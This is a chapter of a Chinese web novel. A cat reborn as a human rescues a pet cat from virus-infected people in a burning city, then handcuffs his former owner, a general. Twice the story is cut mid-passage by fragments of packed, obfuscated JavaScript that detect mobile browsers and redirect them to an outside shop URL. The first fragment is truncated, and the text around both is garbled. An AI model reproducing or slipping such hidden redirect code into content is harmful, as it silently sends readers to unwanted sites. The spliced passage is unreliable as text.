南知又被吓了一跳,是两脚兽的右眼,像个不堪重负的水球,直接就被他自己挤爆了,红色粘稠的血液喷溅而出,在落地的瞬间,被氧化成诡异的克莱因蓝。 幸亏南知距离他还有一段距离,否则就要被喷一脸又红又蓝的血液。 “他在干什么?”南知觉得奇怪。 “喵!!!” 又是美美的叫声,比刚才还凄厉。 南知顾不得太多,朝着声音冲过去,一眼就看到站在三楼破损窗口的小白猫。 那是一栋摇摇欲坠的大楼,被摧毁的只剩下三分之一,完全就是一滩废墟。 南知仰着头,喊道:“喂!你怎么跑上去了,快下来!” 美美听到南知的声音,立刻回头,完全没有之前的嫌弃与害怕,看到南知的那一刻,仿佛就像是看到了老乡。 “喵~喵喵!” 美美急切的呼唤南知。 南知撇嘴说:“刚才跑的那么快,现在又来求我救你。” “喵喵喵!”美美叫。 南知说:“别催别催,我来了!” 美美窜上三楼的破窗,现在却下不来了。 南知心想,一看它就没有野外流浪的经验,小小三层都拿捏不住。 “喵喵喵!!!”美美又在叫。 这次不是催促,南知立刻抬头,说:“危险?” 美美在传递危险的信号。 就见三楼窗口,除了美美之外又多了几个黑影,全都朝着美美缓慢集中。 大楼已经被炸毁,根本没有路能走,那四五个人类是手脚并用爬上三楼的。人类的攀爬能力比猫咪要差很多,甚至比家养的美美的还要差很多。 就在南知抬头看清楚的一瞬间,一个黑影失手从三楼坠落。 咚!!! 脑袋先着地,西瓜一样磕裂,血液和奇怪的浆糊一股一股涌出。而那受伤的人类根本不知疼痛,重新爬起,重新攀爬。 “他们……”南知震惊的自言自语:“都是被感染的两脚兽吧……” 当初南知还是小猫的时候,也被病毒感染过,因为那可怕的病毒,最终悄无声息的死在一处黑暗的角落。 如果那些感染者抓伤或者咬伤美美,美美肯定会被他们传染。 “跳下来!跳下来!” 南知朝着美美跑过去,挥手对它大喊。 美美害怕,在窗口踌躇。 就算南知的攀爬能力很强,可现在赶过去绝对来不及。 “跳下来!我接着你!快啊!” “喵!!!” 美美飞机耳,夹着尾巴,双眼一闭,真的跳下来了。 南知往前一窜,展开双手接住小猫,片刻也不敢停留,立刻往右边的小巷子跑去。 咚!咚!咚! 身后传来接连不断的重响,地面仿佛都在晃动。是那些感染者,无意识的跟随着美美从三楼跳下。 当然没有人会去接住他们,一个西瓜紧跟着一个西瓜的炸裂,可他们就算失去了脑袋,也还是会扭曲着站起,继续去追“目标”。 南知抱着美美快步往前跑,忍不住说:“别动别动,老实一点。” 美美受惊过度,此时正两只前爪用力抱住南知的脖子,亲昵又粘人,还不停的喵喵叫着往上攀爬,想要爬上南知的头顶。 南知被挡住了视线,将美美扒下来抱好,说:“你看起来小小一只,怎么这么沉呢?也太胖了吧。” “喵喵喵!” 美美紧紧贴在少年的脖子上,支起脑袋来抗议。 “不可以说小母猫胖?”南知眨眨眼,说:“你说我没有绅士风度?” 美美喵了一声点头。 南知奇怪的问:“绅士风度是什么?” 美美:“……” 一人一猫成功脱离危险,甩掉了四五个裂开的大西瓜。南知谨慎的左右去看,用力吸吸鼻子,确定环境的安全性。 美美的动作和他几乎一模一样,毕竟他们两个本质上都是小猫。 美美松了口气,又开始喵喵叫。 它在给南知科普情况,从某种程度上来说,南知虽然转生成了人类,可懂的人类知识还没有美美多。 美美举着小爪子,一口气喵了五分钟。 南知似懂非懂,点头说:“被R病毒感染了的人,都会发疯去袭击正常的生物,想要喝他们的血?” 美美点头,还用爪子指了指自己的小胸脯。 美美是一只正常的小猫,被保护的很好,没有感染过。那些感染者恶变者发现它,就像发现了最美味的晚餐,蜂拥而至,都想要扑过去咬它。 南知似懂非懂,点点头又摇摇头,提问说:“我也没有被感染,但是他们只是扑你咬你,怎么没人来抓我?” 美美歪头盯着他,也是一脸疑惑。 这一路上南知遇到过几个恶变者和感染者,那些怪人都没有主动来攻击的意思。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17414974|200740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >美美最终摇头。 南知说:“算了,先离开这里最重要,跟我走吧。” 美美继续摇头。 南知惊讶的睁大眼睛:“这么危险,你都被吓得炸毛了还不走?” “喵~~~” 南知头疼,说:“这里很危险,不是你这样的家养小猫能搞定的。” 美美指着南知。 南知嫌弃的说:“我才不会管你呢。” 美美举着大尾巴走过来,蹭他的腿。 南知:“……” 南知叉腰盯着努力朝他示好的小母猫,这是我前任的新欢,我的脑袋坏掉了才会管这样的闲事…… “喵~”美美夹着嗓子。 南知无情无义的说:“撒娇没用。” “喵喵~”美美哼哼唧唧。 南知头疼:“假哭也没用。” 南知被美美磨了十分钟,终于败下阵来,说:“你到底要去干什么?” 美美不是误入三区的,它是特意独自来的这里。这里虽然很可怕,但美美不想离开,它还要继续往里走。 美美朝着北方叫了一声。 南知看过去,说:“阿贝贝?” 美美晃着大尾巴。 南知说:“你的阿贝贝在那边?” 美美点头。 美美是一只来自三区的猫,原本生活在一家很小的宠物店,后来被主人买走。 美美说,主人对他很好,主人就是笨了一些,主人每天都会给它买新的玩具,但美美还是会时不时想起它最爱的阿贝贝。 南知也想起了他最爱的阿贝贝,那只已经破破烂烂的鲷鱼玩具。 美美的阿贝贝是一只布老鼠,在它被主人带走的时候留在了三区宠物店,美美很想念阿贝贝,所以偷偷回来找阿贝贝。 南知无奈的说:“好吧,都到这里了,那我陪你去找好了。” “喵~”美美用圆滚滚的脑袋蹭他。 为了安全,南知将美美抱起来,说:“你给我指路。” 一人一猫穿过废弃的小巷,黑暗中美美抬爪一指,南知顺着看去,惊讶的说:“那边在着火。” 远处火红的一片,大火烧着了半座城市,南知无法在这么亮的光线中看清楚,说:“火太大了,我们走不过去。” 宠物店在那片大火的后面,更北面的方向。 “喵喵~”美美仰头叫。 南知说:“先过去看看吧,说不定有其他的路。” 火势很大,耳边都是噼噼啪啪的声音,很多栋大楼摇摇欲坠,随时都有再次坍塌的危险,更危险的当然是那些恶变者和感染者,说不定就蹲在某个隐蔽的角落,会随时扑出来偷袭他们。 南知走的很谨慎,闻一闻走两步,一会儿钻进破窗一会儿跳上断墙,偶尔遇到几个恶变者,但那些人根本追不上他的速度。 美美缩在南知怀里,探头喵了一声。 南知抬手抹抹头上的薄汗,说:“放心吧,我还不累,不需要休息。” 美美又喵喵了一声。 “你说你累了?”南知表情一呆:“你一直被抱着还累了?” 美美真诚点头。 南知嗓音有些酸溜溜的说:“你也太娇气了,看来你的主人对你很好……” 12.第 12 章 美美骄傲的甩耳朵。 南知气哼哼的说:“你还自豪起来了。” “喵喵~”美美用爪子指着前面一个房间,示意去那边休息。 南知往那边看了看,点头说:“好吧。” 他从九区军营跑进三区城内,这么长时间还没休息过,的确应该找个安全舒适的地方稍微放松一下。 少年抱着小猫,谨慎的从窗户翻入一栋房子的一楼。 “这里比想象中要好一点。”南知说:“起码没有外面那么破破烂烂。但是味道很难闻,我不喜欢。” 美美用小爪子捂住鼻子,赞同。 南知说:“应该是一家诊所吧。” 很大的柜子倒在地上,玻璃碎片和各种药盒药瓶散了一地,椅子也歪七扭八。房间里消毒水的味道和外面腐臭血腥的味道交织在一起,真的对猫咪的嗅觉很不友善。 现在不论是南知还是美美,都感觉鼻子几乎被废掉了,已经很难分辨出什么。 少年敏锐的不断侧头去看,又竖起耳朵认真去听,说:“没有看到感染者,也没有听到呼吸声,这里应该只有我们吧。” 美美点头。 通道里摆着两张沙发,还算干净,只是被撞翻了而已,是休息的不错位置。 南知抱着美美走过去,将美美放在地上,说:“我把沙发扶起来,你不要乱跑。” “喵~”美美答应。 “喵!!!”美美突兀的尖叫,弓背炸毛,整只猫一跳。 少年刚刚弯下腰去扶住侧翻的沙发,谁能想到沙发下面居然扣着东西。 不,不能称之为东西,确切的说是死人,一具人类的尸体。 那血呼呼,肠子淌在肚子外面的尸体,也像一只受惊吓的猫咪,窜起半米高,张开嘴巴扑向南知。 南知闻到一股恶臭的味道,动作迅捷抬脚就踹。 尸体砸在沙发上,肚子破口处掉出更多的肠子。红色的血泊黄白的肠子,腥中带甜甜中有咸,像极了南知最讨厌的番茄蛋花汤。 “喵喵喵!喵喵喵!”美美钻到另一张沙发下躲起来。 南知屏住呼吸,好臭…… “怎么才能让他老实下来?” “喵喵!” “你也不知道?” “喵……” “……” 袭击他们的两脚兽已经死掉了,是他体内的病毒还活着,操纵着一具尸体在攻击他们。 其实尸体的攻击对象一直只有美美,南知在他眼里仿佛是透明人。可南知必须要拦住他,美美这只家养小公主,根本没什么武力值可言。 “喵喵喵!” 美美缩在沙发下面,犹豫着颤抖着,想要出来帮忙,但它很害怕。 “别出来!”南知抓住尸体的后衣领,用力将他砸到墙上。 美美吓得又躲回去。 尸体重新爬起来,猛的一扑,南知顿时头晕眼花,脑后勺着地,被他扑在地上钳制住脖子,显然是南知的纠缠惹怒了他。 少年眯眼呲牙,抬起腿使劲儿一蹬。可惜没踹动,那具尸体根本不知道疼,反而收紧了两只手,让南知几乎无法喘息。 怎么办…… 南知觉得从猫变成人之后,自己打架的天赋都被削弱了,跳的没有以前高,跑的没有以前快,连锋利的爪子也没了。 少年哈气,对尸体发出恐吓的低吼,然后急中生智,抓住尸体血肉溃烂的胳膊,就要咬下去。 “喵喵喵!” 沙发下面的美美吓得大叫。不能咬!不能咬!好脏好脏啊!呸呸呸! 电光石火之间,一串踏踏踏的脚步声赶到,先南知一步,扣住尸体的胳膊,用力一扭。 脆响中,尸体的胳膊被轻而易举的卸掉,从南知嘴巴边被拽走。 南知感觉压制解除,快速一跃而起,下意识抹抹嘴唇。他心里也在庆幸,好在没咬到,看着好恶心。 突然出现的人动作干脆利索,而且相当熟练。卸掉尸体两条胳膊,嘎巴一声狠狠一推尸体的下巴。那具尸体脖子扭曲,四肢扭曲,被扔在角落不停抽搐,最多也就五秒钟,突然不动了。 “咬他,你会被感染。” 对方转过身看着南知,表情平静的说。 南知刚刚放松下的神经再次绷紧,对着来人不友善的呲牙。 是赵听寒将军。 赵听寒先一步进入三区来寻找南知,正巧碰到少年张嘴就想咬感染的尸体,好在他来的及时。 “喵~~~” 美美见危险解除,圆滚滚的身体从沙发下面窜出,瞬间跳入赵听寒将军怀中。 赵听寒接住小猫,略微有些惊讶,说:“你怎么在这里?” “喵~” 美美热情的在赵听寒怀里蹭来蹭去,越叫越夹子音,听得南知忍不住掉鸡皮疙瘩。 南知抱臂,哼了一声说:“你是一只猫,不能做舔狗,这样很没出息。” “喵!”美美对南知翻白眼。 对比起美美的热情,赵听寒将军态度就有那么点冷淡了,仿佛天生对毛茸茸有极大的抵抗力。他将美美放在沙发上,朝着南知走过去。 “你流血了,坐下,我给你包扎。” 南知后退了两步,与赵听寒保持安全距离,扭头不理人。 小猫记仇,不想和渣男说话。 南知下意识摸了摸自己的手背,有些刺痛,很轻微。 他的手背上果然有个伤口,不过并不是被感染尸体袭击留下的,而是赶路的时候不小心蹭伤。 “我并没有恶意。”赵听寒将军再次走过来,步伐很缓慢:“不包扎很危险。” 他从口袋里掏出一瓶药剂,还有创口贴之类的东西,说:“如果你不放心,可以自己处理。” 南知漂亮的眼睛转来转去,思考了半分钟,终于点点头,朝着赵听寒伸出手。 赵听寒将药水和创口贴交给他。 南知坐在沙发上,美美第一个跳过去,挨着他坐下,探着脑袋去看他的伤口。 “喵?”美美问。 南知摇摇头,说:“小伤,没事。” “喵喵。”美美举着爪子,示意他快点包扎起来。 南知打开药水瓶,洒了一些在自己的伤口上。他的动作看起来有些笨拙,或许是伤了右手的缘故。 赵听寒将军看着所剩无几的药水,说:“或许,我可以来帮你吗?” 南知戒备的看着他,这次倒是没有拒绝,点点头。 赵听寒将军走过去,没有坐下,单膝点地跪下,接过药水均匀的洒在南知右手手背,又撕开创口贴,仔细贴好。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17418041|200740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 南知盯着近在咫尺的赵听寒将军,没有厚重的刘海,没有笨笨的眼镜,分明非常不一样,但多看几眼又感觉莫名熟悉。 这个人就是曾经和他相依为命的铲屎官,可惜,现在变成了别猫的铲屎官。 南知鼻子酸酸的,眼睛涨涨的,心想着我才不会为了渣男伤心呢。 “好了。”赵听寒将军说:“还有没有其他伤口?” 南知没有回答他,只是用漂亮的眼睛盯着他,唇角突然翘起一个狡黠的弧度。 赵听寒皱眉。 咔! 在他察觉到不对劲儿的时候,已经来不及了。 小猫的反应速度比人类要快上许多,就比如南知,在他还是个小猫的时候,一秒钟就可以甩十三下耳朵,任何小虫子都无法从他面前安全飞过。 那轻微的咔的一声,是手铐的声音。 南知趁着赵听寒靠近的机会,用手铐将他铐在了窗户的防护栏上。 “你,”赵听寒脸上有一瞬震惊,皱眉说:“你是左利手。” 南知骄傲的抬起下巴,活动了一下刚刚包扎好的右手,说:“对啊。” 小公猫一般都是左利手,南知也是。 刚才少年拙劣的动作都是在演戏,成功欺骗了赵听寒将军。南知是故意让对方靠近过来的,目的就是为了偷他口袋里的手铐。 南知抱起美美,居高临下的看着只能单膝跪在地上的赵听寒将军,说:“笨蛋渣男,这是给你的惩罚!” 赵听寒拽了一下手铐,发出哗啦哗啦的响声,抬头问:“我们以前认识?” 南知没说话。 赵听寒说:“你一直叫我渣男。” 显然,将军先生对此非常迷茫。 南知哼了一声,说:“你自己反思吧,我们要走了,还有正经事要做呢。” “喵喵喵~~”美美在他怀里扑腾。 南知按住闹腾的小猫,满脸恨铁不成钢:“不去找你的阿贝贝了吗?” “你这个笨猫,他是渣男,你这样很没出息。” “说你没出息呢,快跟我走。” 美美对赵听寒恋恋不舍,根本不肯跟南知走,叫的那叫一个撕心裂肺。 南知气得脸都青了,像个偷猫贼,掳了美美抱出诊所,头也不回的离开。 “喵喵~” “喵~” “喵~” 南知戳着美美的小鼻尖,说:“你要是再骂我,我就不带你去找阿贝贝。” 美美:“……” 美美嘴努子撅了撅,但是没喵出声。 休息计划泡汤了,南知决定还是尽快往北走,赶到宠物店去找阿贝贝比较好。 走了几步,南知抱着美美停下来,回头看一眼。 美美歪头:“喵?” 南知没回答。 三区的辉火被击落,天气一下寒冷了很多,但这里又莫名炙热,辉火点燃了不少建筑,大火熊熊燃烧着,仿佛要吞没一切。 少年心里忐忑,火越来越大了,还烧过来了,会不会烧到刚才那家诊所去? 笨蛋铲屎官还在里面…… 附近感染者也很多,他们会不会偷袭笨蛋铲屎官? 南知越想越不安,原地踱步了几下,扭头朝着诊所折返回去。